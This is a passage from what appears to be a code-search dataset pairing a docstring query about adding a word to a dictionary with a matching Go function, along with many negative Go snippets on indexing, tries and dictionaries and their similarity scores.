localVarHTTPResponse == nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tif err != nil {\n\t\treturn localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 400 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 401 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 403 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 409 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 500 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarHTTPResponse, nil\n}", "func NewIndexBuilder() *IndexBuilder {\n\treturn &IndexBuilder{\n\t\tcontentPostings: make(map[ngram][]uint32),\n\t\tnamePostings: make(map[ngram][]uint32),\n\t\tbranches: make(map[string]int),\n\t}\n}", "func (ci *createIndex) ApplyOptions() Actionable {\n\tci.options = ci.context.Options().(*options.CreateIndexOptions)\n\n\tci.indexer.SetOptions(&golastic.IndexOptions{Timeout: ci.options.TimeoutInSeconds()})\n\n\treturn ci\n}", "func generateIndex(path string, templatePath string) (lo string) {\n homeDir, hmErr := user.Current()\n checkErr(hmErr)\n var lines []string\n var layout string\n if templatePath == \"\" {\n layout = randFromFile(homeDir.HomeDir + \"/go/src/git.praetorianlabs.com/mars/sphinx/bslayouts\")\n imgOne := randFile(path + \"/img\")\n imgOneStr := \"imgOne: .\" + imgOne.Name()\n imgTwo := randFile(path + \"/img\")\n imgTwoStr := \"imgTwo: .\" + imgTwo.Name()\n imgThree := randFile(path + \"/img\")\n imgThreeStr := \"imgThree: .\" + imgThree.Name()\n imgFour := randFile(path + \"/img\")\n imgFourStr := \"imgFour: .\" + imgFour.Name()\n imgsStr := imgOneStr + \"\\n\" + imgTwoStr + \"\\n\" + imgThreeStr + \"\\n\" + imgFourStr\n\n lines = append(lines, \"---\")\n lines = append(lines, \"layout: \" + layout)\n lines = append(lines, imgsStr)\n lines = append(lines, \"title: \" + randFromFile(path + \"/titles\"))\n title := randFromFile(path + \"/titles\")\n lines = append(lines, \"navTitle: \" + title)\n lines = append(lines, \"heading: \" + title)\n lines = append(lines, \"subheading: \" + randFromFile(path + \"/subheading\"))\n lines = append(lines, \"aboutHeading: About Us\")\n lines = append(lines, generateServices(path + \"/services\"))\n lines = append(lines, generateCategories(path + \"/categories\"))\n lines = append(lines, \"servicesHeading: Our offerings\")\n lines = append(lines, \"contactDesc: Contact Us Today!\")\n lines = append(lines, \"phoneNumber: \" + randFromFile(homeDir.HomeDir + \"/go/src/git.praetorianlabs.com/mars/sphinx/phone-num\"))\n lines = append(lines, \"email: \" + randFromFile(homeDir.HomeDir + \"/go/src/git.praetorianlabs.com/mars/sphinx/emails\"))\n lines = append(lines, \"---\")\n lines = append(lines, \"\\n\")\n lines = append(lines, randFromFile(path + \"/content\"))\n } else {\n template, err := os.Open(templatePath)\n checkErr(err)\n scanner := bufio.NewScanner(template)\n for scanner.Scan() {\n lines = append(lines, scanner.Text())\n }\n }\n\n writeTemplate(homeDir.HomeDir + \"/go/src/git.praetorianlabs.com/mars/sphinx/index.md\", lines)\n\n return layout\n}", "func CreateDocument( vehicleid string, latitude, longitude float64 ) error {\n\n\tid := uuid.Must(uuid.NewV4()).String()\n\tjsonData := jsonDocument(vehicleid, latitude, longitude)\n\n\tctx := context.Background()\n\tdoc, err := client.Index().\n\t\tIndex(os.Getenv(\"ELASTICSEARCH_INDEX\")).\n\t\tType(os.Getenv(\"ELASTICSEARCH_TYPE\")).\n\t Id(id).\n\t BodyString(jsonData).\n\t Do(ctx)\n\tcommon.CheckError(err)\n\tlog.Printf(\"Indexed geolocation %s to index %s, type %s\\n\", doc.Id, doc.Index, doc.Type)\n\treturn nil\n}", "func New(callback Processor) *Document {\n\treturn &Document{callback: callback}\n}", "func indexHandler(s *search.SearchServer, w http.ResponseWriter, r *http.Request) {\n\tparams := r.URL.Query()\n\tcollection := params.Get(\"collection\")\n\n\tif collection == \"\" {\n\t\trespondWithError(w, r, \"Collection query parameter is required\")\n\t\treturn\n\t}\n\n\tif !s.Exists(collection) {\n\t\trespondWithError(w, r, \"Collection does not exist\")\n\t\treturn\n\t}\n\n\tbytes, err := ioutil.ReadAll(r.Body)\n\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error reading body\")\n\t\treturn\n\t}\n\n\tif len(bytes) == 0 {\n\t\trespondWithError(w, r, \"Error document missing\")\n\t\treturn\n\t}\n\n\tvar doc document\n\terr = json.Unmarshal(bytes, &doc)\n\tif err != nil {\n\t\trespondWithError(w, r, \"Error parsing document JSON\")\n\t\treturn\n\t}\n\n\tif len(doc.Id) == 0 {\n\t\trespondWithError(w, r, fmt.Sprintf(\"Error document id is required, not found in: %v\", string(bytes)))\n\t\treturn\n\t}\n\n\tif len(doc.Fields) == 0 {\n\t\trespondWithError(w, r, \"Error document is missing fields\")\n\t\treturn\n\t}\n\n\td := search.NewDocument()\n\td.Id = doc.Id\n\tfor k, v := range doc.Fields {\n\t\td.Fields[k] = &search.Field{Value: v}\n\t}\n\n\ts.Index(collection, d)\n\trespondWithSuccess(w, r, \"Success, document indexed\")\n}", "func BuildInvertedIndexWithMultipleWriters(scanner *bufio.Scanner, threads int) map[string][]int {\n\tvar index sync.Map\n\tre := regexp.MustCompile(`([a-z]|[A-Z])+`)\n\tdocumentIndex := 0\n\tch := make(chan Word)\n\tvar wgReaders, wgWriters, wgSorters sync.WaitGroup\n\n\t// read in each file one at a time\n\tfor scanner.Scan() {\n\t\tfile, err := os.Open(scanner.Text())\n\t\tif err != nil {\n\t\t\tfmt.Println(\"ERROR: Could not find file: \" + scanner.Text())\n\t\t\tcontinue\n\t\t}\n\n\t\t// read sub file and fire off separate reader goroutines for the file\n\t\tdocument := bufio.NewScanner(file)\n\t\tgo reader(document, documentIndex, re, ch, &wgReaders)\n\t\twgReaders.Add(1)\n\t\tdocumentIndex++\n\t}\n\n\t// build channels for writers\n\tchs := make([]chan Word, threads)\n\tfor i := 0; i < threads; i++ {\n\t\tchs[i] = make(chan Word)\n\t}\n\n\t// start sorter goroutines\n\tfor i := 0; i < threads; i++ {\n\t\tgo sorter(ch, chs, &wgSorters)\n\t\twgSorters.Add(1)\n\t}\n\n\t// start writer goroutines\n\tfor i := 0; i < threads; i++ {\n\t\tgo writer(chs[i], &index, &wgWriters)\n\t\twgWriters.Add(1)\n\t}\n\n\twgReaders.Wait() // wait for the readers to finish\n\tclose(ch)\n\n\twgSorters.Wait() // wait for the sorters to finish\n\tfor i := 0; i < threads; i++ {\n\t\tclose(chs[i])\n\t}\n\n\twgWriters.Wait() // wait for the writers to finish\n\treturn toMap(&index)\n}", "func NewUniqueIndexWithOptions(o ...option.Option) index.Index {\n\topts := &option.Options{}\n\tfor _, opt := range o {\n\t\topt(opts)\n\t}\n\n\tu := &Unique{\n\t\tcaseInsensitive: opts.CaseInsensitive,\n\t\tindexBy: opts.IndexBy,\n\t\ttypeName: opts.TypeName,\n\t\tfilesDir: opts.FilesDir,\n\t\tindexBaseDir: path.Join(opts.DataDir, \"index.cs3\"),\n\t\tindexRootDir: path.Join(path.Join(opts.DataDir, \"index.cs3\"), strings.Join([]string{\"unique\", opts.TypeName, opts.IndexBy}, \".\")),\n\t\tcs3conf: &Config{\n\t\t\tProviderAddr: opts.ProviderAddr,\n\t\t\tDataURL: opts.DataURL,\n\t\t\tDataPrefix: opts.DataPrefix,\n\t\t\tJWTSecret: opts.JWTSecret,\n\t\t\tServiceUser: opts.ServiceUser,\n\t\t},\n\t\tdataProvider: dataProviderClient{\n\t\t\tbaseURL: singleJoiningSlash(opts.DataURL, opts.DataPrefix),\n\t\t\tclient: http.Client{\n\t\t\t\tTransport: http.DefaultTransport,\n\t\t\t},\n\t\t},\n\t}\n\n\treturn u\n}", "func (idiom *Idiom) ExtractIndexableWords() (w []string, wTitle []string, wLead []string) {\n\tw = SplitForIndexing(idiom.Title, true)\n\tw = append(w, fmt.Sprintf(\"%d\", idiom.Id))\n\twTitle = w\n\n\twLead = SplitForIndexing(idiom.LeadParagraph, true)\n\tw = append(w, wLead...)\n\t// ExtraKeywords as not as important as Title, rather as important as Lead\n\twKeywords := SplitForIndexing(idiom.ExtraKeywords, true)\n\twLead = append(wLead, wKeywords...)\n\tw = append(w, wKeywords...)\n\n\tfor i := range idiom.Implementations {\n\t\timpl := &idiom.Implementations[i]\n\t\twImpl := impl.ExtractIndexableWords()\n\t\tw = append(w, wImpl...)\n\t}\n\n\treturn w, wTitle, wLead\n}", "func SavingIndex(addr string, iName string, size int, t int, o string) {\n\tlog.SetOutput(os.Stdout)\n\n\t_, err := os.Stat(o)\n\tif !os.IsNotExist(err) {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Println(\"The file already exists.\")\n\t\tos.Exit(0)\n\t}\n\n\tcfg := elasticsearch.Config{\n\t\tAddresses: []string{\n\t\t\taddr,\n\t\t},\n\t}\n\tes, err := elasticsearch.NewClient(cfg)\n\tif err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tcnt := indices.GetDocCount(es, iName)\n\tif cnt != 0 {\n\t\tcnt = cnt/size + 1\n\t} else {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Println(\"The document does not exist in the target index.\")\n\t\tos.Exit(0)\n\t}\n\n\teg, ctx := errgroup.WithContext(context.Background())\n\n\tchRes := make(chan map[string]interface{}, 10)\n\tchResDone := make(chan struct{})\n\tchDoc := make(chan []map[string]string, 10)\n\n\tvar scrollID string\n\n\tscrollID, err = getScrollID(es, iName, size, t, chRes)\n\tif err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tvar mu1 sync.Mutex\n\n\tfor i := 0; i < cnt; i++ {\n\t\teg.Go(func() error {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn nil\n\t\t\tdefault:\n\t\t\t\tmu1.Lock()\n\t\t\t\tdefer mu1.Unlock()\n\t\t\t\terr := getScrollRes(es, iName, scrollID, t, chRes, chResDone)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\t\t})\n\t}\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tcase <-chResDone:\n\t\t\tclose(chRes)\n\t\t\treturn nil\n\t\t}\n\t})\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tdefer close(chDoc)\n\t\t\treturn processing.GetDocsData(chRes, chDoc)\n\t\t}\n\t})\n\n\tvar mu2 sync.Mutex\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tmu2.Lock()\n\t\t\tdefer mu2.Unlock()\n\t\t\treturn saveDocToFile(o, chDoc)\n\t\t}\n\t})\n\n\tif err := eg.Wait(); err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tdeleteScrollID(es, scrollID)\n\n\tlog.Println(\"The index was saved successfully.\")\n}", "func (s *BasePlSqlParserListener) EnterCreate_index(ctx *Create_indexContext) {}", "func (i *SGIndex) createIfNeeded(bucket *base.CouchbaseBucketGoCB, useXattrs bool, numReplica uint) error {\n\n\tif i.isXattrOnly() && !useXattrs {\n\t\treturn nil\n\t}\n\n\tindexName := i.fullIndexName(useXattrs)\n\n\texists, _, metaErr := bucket.GetIndexMeta(indexName)\n\tif metaErr != nil {\n\t\treturn metaErr\n\t}\n\tif exists {\n\t\treturn nil\n\t}\n\n\t// Create index\n\tindexExpression := replaceSyncTokensIndex(i.expression, useXattrs)\n\tfilterExpression := replaceSyncTokensIndex(i.filterExpression, useXattrs)\n\n\tvar options *base.N1qlIndexOptions\n\t// We want to pass nil options unless one or more of the WITH elements are required\n\tif numReplica > 0 || i.shouldIndexTombstones(useXattrs) {\n\t\toptions = &base.N1qlIndexOptions{\n\t\t\tNumReplica: numReplica,\n\t\t\tIndexTombstones: i.shouldIndexTombstones(useXattrs),\n\t\t}\n\t}\n\n\tsleeper := base.CreateDoublingSleeperFunc(\n\t\t11, //MaxNumRetries approx 10 seconds total retry duration\n\t\t5, //InitialRetrySleepTimeMS\n\t)\n\n\t//start a retry loop to create index,\n\tworker := func() (shouldRetry bool, err error, value interface{}) {\n\t\terr = bucket.CreateIndex(indexName, indexExpression, filterExpression, options)\n\t\tif err != nil {\n\t\t\tbase.Warn(\"Error creating index %s: %v - will retry.\", indexName, err)\n\t\t}\n\t\treturn err != nil, err, nil\n\t}\n\n\tdescription := fmt.Sprintf(\"Attempt to create index %s\", indexName)\n\terr, _ := base.RetryLoop(description, worker, sleeper)\n\n\tif err != nil {\n\t\treturn pkgerrors.Wrapf(err, \"Error installing Couchbase index: %v\", indexName)\n\t}\n\n\t// Wait for created index to come online\n\treturn bucket.WaitForIndexOnline(indexName)\n}", "func NewNoOp() *NoOpVectorizer {\n\treturn &NoOpVectorizer{}\n}", "func NewTruncIndex(ids []string) (idx *TruncIndex) {\n\tidx = &TruncIndex{\n\t\tids: make(map[string]struct{}),\n\n\t\t// Change patricia max prefix per node length,\n\t\t// because our len(ID) always 64\n\t\ttrie: patricia.NewTrie(patricia.MaxPrefixPerNode(64)),\n\t}\n\tfor _, id := range ids {\n\t\t_ = idx.addID(id) // Ignore invalid IDs. Duplicate IDs are not a problem.\n\t}\n\treturn\n}" ]
[ "0.6705663", "0.5386313", "0.53282356", "0.5206519", "0.5121852", "0.51062375", "0.50377345", "0.5033443", "0.49098578", "0.48843887", "0.48720723", "0.47793865", "0.47390732", "0.4717504", "0.46784076", "0.46512693", "0.46339545", "0.45791924", "0.4545754", "0.4444426", "0.44236764", "0.4415274", "0.44116905", "0.4409784", "0.44026816", "0.43883038", "0.43683508", "0.43583462", "0.43566763", "0.4341429", "0.43397", "0.4327843", "0.43215662", "0.43122664", "0.4302278", "0.4300223", "0.42972806", "0.42940125", "0.42934397", "0.42869085", "0.4238405", "0.42339456", "0.42310104", "0.42300433", "0.4226181", "0.42245722", "0.42209485", "0.4213849", "0.42103946", "0.420299", "0.42016795", "0.41976112", "0.41953477", "0.41908312", "0.41872564", "0.418467", "0.41810605", "0.41749886", "0.4169748", "0.4169263", "0.41641432", "0.4152335", "0.41491583", "0.4143525", "0.41369718", "0.4134356", "0.41303837", "0.41251144", "0.4123487", "0.4122737", "0.41199645", "0.41180462", "0.41131544", "0.4111134", "0.4105933", "0.40976542", "0.40960887", "0.4091421", "0.40847257", "0.40780848", "0.40777704", "0.40717342", "0.4068026", "0.40584117", "0.4057985", "0.4056353", "0.40560034", "0.40540707", "0.4053457", "0.40476602", "0.4047619", "0.40461105", "0.40421116", "0.40372163", "0.40363973", "0.403534", "0.40309358", "0.40267357", "0.40211993", "0.40174305" ]
0.81068856
0
add inserts the provided word into the dictionary if it does not already exist.
func (d *dictionary) add(word string) tokenID { if idx := d.getIndex(word); idx != unknownIndex { return idx } // token IDs start from 1, 0 is reserved for the invalid ID idx := tokenID(len(d.words) + 1) d.words[idx] = word d.indices[word] = idx return idx }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (this *WordDictionary) AddWord(word string) {\n \n}", "func (d Dictionary) Add(word, def string) error {\n\t_, err := d.Search(word)\n\n\tswitch err {\n\tcase errNotFound:\n\t\td[word] = def\n\tcase nil:\n\t\treturn errWordExist\n\t}\n\treturn nil\n}", "func (d Dictionary) Add(word, def string) error {\n\t_, err := d.Search(word)\n\tif err != nil {\n\t\td[word] = def\n\t\treturn nil\n\t}\n\tfmt.Println(err)\n\treturn errIsExist\n}", "func (d Dictionary) Add(word, def string) error {\r\n\t_, err := d.Search(word)\r\n\tswitch err {\r\n\tcase errNotFound: //단어 없으면\r\n\t\td[word] = def // 단어 추가\r\n\tcase nil: // 단어 있으면\r\n\t\treturn errWordExists //단어 존재한다고 에러메시지 반환\r\n\t}\r\n\treturn nil // 단어 추가하고 nil 반환\r\n}", "func (d Dictionary) Add(word, def string) error {\n\n\t// [if style]\n\t_, err := d.Search(word)\n\n\tif err == errNotFound {\n\t\td[word] = def\n\t} else if err == nil {\n\t\treturn errWordExists\n\t}\n\n\treturn nil\n\n\t// [switch style]\n\t/*\n\t\t_, err := d.Search(word)\n\n\t\tswitch err {\n\t\tcase errNotFound:\n\t\t\td[word] = def\n\t\tcase nil:\n\t\t\treturn errWordExists\n\t\t}\n\n\t\treturn nil\n\t*/\n}", "func (r Dictionary) Add(word string, definition string) error {\n\t_, err := r.Search(word)\n\tswitch err {\n\tcase ErrWordNotFound:\n\t\tr[word] = definition\n\tcase nil:\n\t\treturn ErrKeyWordDuplicate\n\tdefault:\n\t\treturn err\n\t}\n\treturn nil\n}", "func (this *WordDictionary) AddWord(word string) {\n\tp := &this.root\n\tfor i := 0; i < len(word); i++ {\n\t\tj := word[i] - 'a'\n\t\tif p.children[j] == nil {\n\t\t\tp.children[j] = new(trieNode)\n\t\t}\n\t\tp = p.children[j]\n\t}\n\tp.exist = true\n}", "func addWord(words map[string]int) {\n\n\treader := r.NewReader(os.Stdin)\n\n\t// Get a kewyowrd\n\tf.Println(\"Give a word:\")\n\tf.Println(\"Warning, giving a prexisting word will update the value\")\n\ttext, err := reader.ReadString('\\n')\n\n\t// Hate this repetitious if err return\n\tif err != nil {\n\t\tf.Println(err)\n\t\treturn\n\t}\n\n\tkey := ss.Replace(text, \"\\n\", \"\", -1)\n\tf.Printf(\"[%q] recieved...\\n\", key)\n\n\t// Get a value\n\tval := getVal(words)\n\tif val == 0 {\n\t\treturn\n\t}\n\n\t// Maps are always passed by reference conveniently\n\twords[key] = val\n\n}", "func (this *WordDictionary) AddWord(word string) {\n\tcur := this.root\n\n\tfor _, w := range []rune(word) {\n\t\tc := string(w)\n\t\tif cur.next[c] == nil {\n\t\t\tcur.next[c] = getNode()\n\t\t}\n\t\tcur = cur.next[c]\n\t}\n\n\tcur.isWord = true\n}", "func (this *WordDictionary) AddWord(word string) {\n\tnode := this.root\n\tfor _, c := range word {\n\t\tif node.next[c-'a'] != nil {\n\t\t\tnode = node.next[c-'a']\n\t\t} else {\n\t\t\tnewNode := TrieNode{}\n\t\t\tnewNode.next = make([]*TrieNode, 26)\n\t\t\tnode.next[c-'a'] = &newNode\n\t\t\tnode = &newNode\n\t\t}\n\t}\n\tnode.finished = true\n}", "func addWord(root *TrieNode, s string) bool {\n\tnd := root\n\tfor i := range s {\n\t\tif _, ok := nd.move[s[i]]; !ok {\n\t\t\tnd.move[s[i]] = &TrieNode{move: make(map[uint8]*TrieNode)}\n\t\t}\n\t\tnd = nd.move[s[i]]\n\t}\n\tok := !nd.final\n\tnd.final = true\n\treturn ok\n}", "func (this *WordDictionary) AddWord(word string) {\n\tvar nowChar *WordDictionary = this\n\tvar next *WordDictionary\n\tfor i, char := range word {\n\t\tcharIdx := char - a\n\t\tnext = nowChar.Nexts[charIdx]\n\t\tif next == nil {\n\t\t\twordDict := Constructor()\n\t\t\tnowChar.Nexts[charIdx] = &wordDict\n\t\t\tnext = &wordDict\n\t\t}\n\t\tnowChar = next\n\t\tif i == len(word)-1 {\n\t\t\tnowChar.HasTerminate = true\n\t\t}\n\t}\n}", "func (tp *Trie) AddWord(word string) int {\n\treturn tp.Add([]rune(word))\n}", "func (cMap *MyStruct) AddWord(word string){\n\tcMap.adding <- word\n}", "func (m Model) AddWord(word string) *Word {\n\tw := Word{Word: word}\n\tif _, err := m.PG.Model(&w).Where(\"word = ?\", word).SelectOrInsert(); err != nil {\n\t\tlog.Printf(\"failed select or insert word \\\"%s\\\", message: %s\", word, err)\n\t}\n\tlog.Printf(\"processed word \\\"%s\\\"\", word)\n\treturn &w\n}", "func (trie *Trie) AddWord(word string) {\n\tcurrentNode := trie.Root\n\tfor _, ch := range word {\n\t\tcurrentNode = currentNode.AddAndGetChild(ch)\n\t}\n\tcurrentNode.MarkAsTerminal()\n}", "func (this *Trie) Insert(word string) {\n\tthis.dict[word] = true\n\tfor i := 0; i < len(word); i++ {\n\t\tthis.dictPrefix[word[:i]] = true\n\t}\n\n}", "func (d *Decoder) AddWord(word, phones String, update bool) (id int32, ok bool) {\n\tret := pocketsphinx.AddWord(d.dec, word.S(), phones.S(), b(update))\n\tif ret < 0 {\n\t\treturn 0, false\n\t}\n\treturn ret, true\n}", "func (this *Trie) Insert(word string) {\n node := this\n \n for _, v := range word {\n if !node.containsKey(v) {\n node.put(v, &Trie{})\n }\n \n node = node.get(v)\n }\n \n node.isEnd = true\n}", "func (t *Trie) Add(word string, data interface{}) (Node, error) {\n\tif len(word) == 0 {\n\t\treturn nil, fmt.Errorf(\"no string to add\")\n\t}\n\n\trunes := []rune(word)\n\treturn t.addAtNode(t.Root, runes, data)\n}", "func (this *Trie) Insert(word string) {\n node := this.root\n for _, r := range word {\n _, existed := node.children[r]\n if !existed {\n node.children[r] = newNode()\n }\n node = node.children[r]\n }\n node.isWord = true\n}", "func (t *Trie) InsertWord(word string) {\n\trunner := t.Root\n\n\tfor _, currChar := range word {\n\t\tif _, ok := runner.Children[currChar]; !ok {\n\t\t\trunner.Children[currChar] = NewNode()\n\t\t}\n\t\trunner = runner.Children[currChar]\n\t}\n\n\trunner.IsWord = true\n}", "func (this *Trie) Insert(word string) {\n\tthis.words[len(word)] = append(this.words[len(word)], word)\n}", "func (this *Trie) Insert(word string) {\n\n\tfor _,v:=range word{\n\t\tif _,ok:=this.next[string(v)];!ok{\n\t\t\tthis.next[string(v)] = &Trie{\n\t\t\t\tisword:false,next:make(map[string]*Trie,0),\n\t\t\t}\n\t\t}\n\t\tthis,_ = this.next[string(v)]\n\t}\n\tif this.isword==false{\n\t\tthis.isword = true\n\t}\n}", "func (tp *Trie) Add(word []rune) int {\n\ts := tp.Init\n\tfor _, c := range word {\n\t\tif _, ok := s.Success[c]; !ok {\n\t\t\tns := tp.NewState()\n\t\t\ts.Success[c] = ns\n\t\t}\n\t\ts = s.Success[c]\n\t}\n\n\ts.Accept = true\n\n\treturn s.ID\n}", "func (d Dictionary) Add(key, value string) error {\n\t_, err := d.Search(key)\n\tswitch err {\n\tcase ErrNotFound:\n\t\td[key] = value\n\tcase nil:\n\t\treturn ErrKeyExists\n\tdefault:\n\t\treturn err\n\t}\n\treturn nil\n}", "func (this *Trie) Insert(word string) {\n\tt := this\n\tfor i := range word {\n\t\tif t.trie == nil {\n\t\t\tt.trie = make([]node, 26)\n\t\t}\n\n\t\tt.trie[word[i]-'a'].exist = true\n\t\tif i == len(word)-1 {\n\t\t\tt.trie[word[i]-'a'].word = true\n\t\t}\n\t\tt = &t.trie[word[i]-'a'].trie\n\t}\n}", "func addWord(root *TrieNode, word string, idx int) {\n for i := 0; i < len(word); i++ {\n if isPalindrome(word[i:]) {\n root.match[idx] = true\n }\n offset := word[i]-'a'\n if root.nodes[offset] == nil {\n root.nodes[offset] = &TrieNode{idx:-1, match: make(map[int]bool)} \n }\n root = root.nodes[offset]\n }\n root.idx = idx\n root.match[idx] = true // \"\" is the rest of any string, and is also a palindrome.\n}", "func (d *Library) Add(o Word, t Word) {\n\tif false == d.Exists(o) {\n\t\tdict := &Dictionary{Translations: map[Word][]Word{}}\n\t\td.Append(o.Locale, dict)\n\t}\n\n\ttr := d.Dictionaries[o.Locale]\n\ttr.Add(o, t)\n}", "func (this *Trie) Insert(word string) {\n\tptr := this\n\tfor _, r := range word {\n\t\tif _, ok := ptr.Kids[r]; !ok {\n\t\t\tptr.Kids[r] = &Trie{Exists: false, Kids: make(map[rune]*Trie, int('z')-int('a')+1)}\n\t\t}\n\t\tptr = ptr.Kids[r]\n\t}\n\tptr.Exists = true\n}", "func (service *SynonymService) AddWords(word *vm.Word) (*[]vm.Word, int64) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\n\t// Check if the word already exists\n\tif _, ok := service.Synonyms[word.Word]; ok {\n\t\treturn nil, status.ErrorSynonymAllreadyEsists\n\n\t}\n\n\t// If the word did not exist before register it and return the empty initialised slice of words\n\twords := []vm.Word{*word}\n\tservice.Synonyms[word.Word] = &words\n\n\treturn &words, 0\n\n}", "func (this *Trie) Insert(word string) {\n\thead := this\n\tfor e := range word {\n\t\tif head.data[word[e]-'a'] == nil {\n\t\t\thead.data[word[e]-'a'] = &Trie{}\n\t\t}\n\t\thead = head.data[word[e]-'a']\n\t}\n\thead.now = true\n}", "func (l *SLexicon) AddSemantic(word string, semantic string) {\n\tl.Lock() // one at a time\n\tdefer l.Unlock()\n\n\tl.Semantic[word] = strings.ToLower(semantic)\n\tl.testAndAddCompoundWord(word) // add this item to the compound word set\n}", "func (trie *Trie) Add(word string) *Trie {\n\tletters, node, i := []rune(word), trie, 0\n\tn := len(letters)\n\n\tfor i < n {\n\t\tif exists, value := node.hasChild(letters[i]); exists {\n\t\t\tnode = value\n\t\t} else {\n\t\t\tnode = node.addChild(letters[i])\n\t\t}\n\n\t\ti++\n\n\t\tif i == n {\n\t\t\tnode.isLeaf = true\n\t\t}\n\t}\n\n\treturn node\n}", "func (service *SynonymService) AddSynonym(word vm.Word, synonym vm.Word) (*[]vm.Word, int) {\n\n\t// Lock map for cocurent access , and unlock it after operation is complete\n\tservice.mu.Lock()\n\tdefer service.mu.Unlock()\n\n\t// Check if synonym already exists\n\tif _, ok := service.Synonyms[synonym.Word]; ok {\n\t\treturn nil, status.ErrorSynonymAllreadyEsists\n\t}\n\n\t// Check if the word already exists\n\tif val, ok := service.Synonyms[word.Word]; ok {\n\n\t\t*val = append(*val, synonym)\n\t\tservice.Synonyms[synonym.Word] = val\n\t\treturn val, 0\n\n\t}\n\n\treturn nil, status.ErrorWordDoesNotExist\n\n}", "func (this *Trie) Insert(word string) {\n\tcurr := this\n\tfor _, c := range word {\n\t\tif curr.next[c-'a'] == nil {\n\t\t\tcurr.next[c-'a'] = &Trie{}\n\t\t}\n\t\tcurr = curr.next[c-'a']\n\t}\n\tcurr.isWord = true\n}", "func (this *Trie) Insert(word string) {\n\tfor i := 0; i < len(word); i++ {\n\t\tif this.son[word[i]-'a'] == nil {\n\t\t\tthis.son[word[i]-'a'] = &Trie{word[i] - 'a', false, [26]*Trie{}}\n\t\t}\n\t\tthis = this.son[word[i]-'a']\n\t}\n\tthis.isWord = true\n}", "func (this *Trie) Insert(word string) {\n\n}", "func (s stringSet) add(ss string) {\n\ts[ss] = struct{}{}\n}", "func (store *KVStore) add(key string, val []byte, isOrigin bool) {\n\tstore.ht[key] = val\n\tstore.isOrigin[key] = isOrigin\n}", "func (this *Trie) Insert(word string) {\n\tif word == \"\" {\n\t\treturn\n\t}\n\tindex := ([]byte(word[0:1]))[0] - byte('a')\n\tif this.child[index] == nil {\n\t\tthis.child[index] = &Trie{\n\t\t\twd: false,\n\t\t}\n\t}\n\n\tif word[1:] == \"\" {\n\t\tthis.child[index].wd = true\n\t\treturn\n\t} else {\n\t\tthis.child[index].Insert(word[1:])\n\t}\n\n}", "func (this *Trie) Insert(word string) {\n\tnode := this\n\tfor _, v := range word {\n\t\tv = v - 'a'\n\t\tif node.next[v] == nil {\n\t\t\tnode.next[v] = &Trie{}\n\t\t}\n\t\tnode = node.next[v]\n\t}\n\tnode.isEnd = true\n}", "func (this *Trie) Insert(word string) {\n\tbytes := []byte(word)\n\tif len(bytes) <= 0 {\n\t\treturn\n\t}\n\tfor key, value := range bytes {\n\t\t//如果数据存在\n\t\tif _, ok := this.nexts[value]; !ok 